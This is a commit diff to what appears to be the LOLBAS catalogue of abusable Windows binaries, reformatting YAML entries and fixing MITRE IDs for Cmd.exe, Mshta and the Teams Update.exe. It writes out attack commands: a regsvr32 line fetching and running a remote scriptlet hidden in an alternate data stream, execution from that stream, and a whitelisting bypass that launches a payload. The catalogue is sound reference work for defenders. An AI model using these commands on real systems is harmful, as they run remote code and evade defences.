Adjusted new contributions

yml/OSBinaries/Cmd.exe.yml

@@ -1,19 +1,24 @@
+---
 Name: Cmd.exe
 Description: The command-line interpreter in Windows
 Author: 'Ye Yint Min Thu Htut'
 Created: '2019-06-26'
 Commands:
   - Command: cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct ^scrobj.dll > fakefile.doc:payload.bat
-    Description: To add content in an Alternate Data Stream (ADS).
+    Description: Add content to an Alternate Data Stream (ADS).
-    
-    Command: cmd.exe - < fakefile.doc:payload.bat
-    Description: Execute payload.bat which is stored in an Alternate Data Stream (ADS).
-    
     Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism
     Category: ADS
     Privileges: User
-    MitreID: T
+    MitreID: T1170
-    MitreLink: https://attack.mitre.org/wiki/Technique/T
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1170
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+  - Command: cmd.exe - < fakefile.doc:payload.bat
+    Description: Execute payload.bat stored in an Alternate Data Stream (ADS).
+    Usecase: Can be used to evade defensive countermeasures or to hide as a persistence mechanism
+    Category: ADS
+    Privileges: User
+    MitreID: T1170
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1170
     OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
 Full_Path:
   - Path: C:\Windows\System32\cmd.exe

yml/OSBinaries/Mshta.yml

@@ -35,7 +35,7 @@ Commands:
     Privileges: User
     MitreID: T1170
     MitreLink: https://attack.mitre.org/wiki/Technique/T1170
-    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
+    OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)
 Full_Path:
   - Path: C:\Windows\System32\mshta.exe
   - Path: C:\Windows\SysWOW64\mshta.exe

yml/OtherMSBinaries/Teams-update.yml

@@ -1,25 +1,32 @@
 ---
 Name: Update.exe
 Description: Update is the squirrel update utility used by Microsoft Electron app (Teams in this case)
-Author: Mr.Un1k0d3r
+Author: 'Mr.Un1k0d3r'
-Created: 2019-06-26
+Created: '2019-06-26'
 Commands:
-  - Command: Copy your payload into `%userprofile%\AppData\Local\Microsoft\Teams\current\`. Then run the following command `%userprofile%\AppData\Local\Microsoft\Teams\Update.exe --processStart payload.exe --process-start-args "whatever args"`
+  - Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
-    Description: The Update.exe will execute the file you copied into the current folder.
+    Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
     Usecase: Application Whitelisting Bypass
     Category: AWL Bypass
-    Privileges: user privs
+    Privileges: User
-    MitreID: T1033
+    MitreID: T1218
-    MitreLink: https://attack.mitre.org/wiki/Technique/T1033
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
+    OperatingSystem: Windows 7 and up with Microsoft Teams installed
+  - Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
+    Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
+    Usecase: Execute binary
+    Category: Execute
+    Privileges: User
+    MitreID: T1218
+    MitreLink: https://attack.mitre.org/wiki/Technique/T1218
     OperatingSystem: Windows 7 and up with Microsoft Teams installed
 Full_Path:
-- Path: %userprofile%\AppData\Local\Microsoft\Teams\Update.exe
+  - Path: '%userprofile%\AppData\Local\Microsoft\Teams\Update.exe'
-
 Detection: 
   - IOC: Update.exe spawned an unknown process
 Resources:
   - Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408
 Acknowledgement:
   - Person: Mr.Un1k0d3r
-    Handle: @MrUn1k0d3r
+    Handle: '@MrUn1k0d3r'
 ---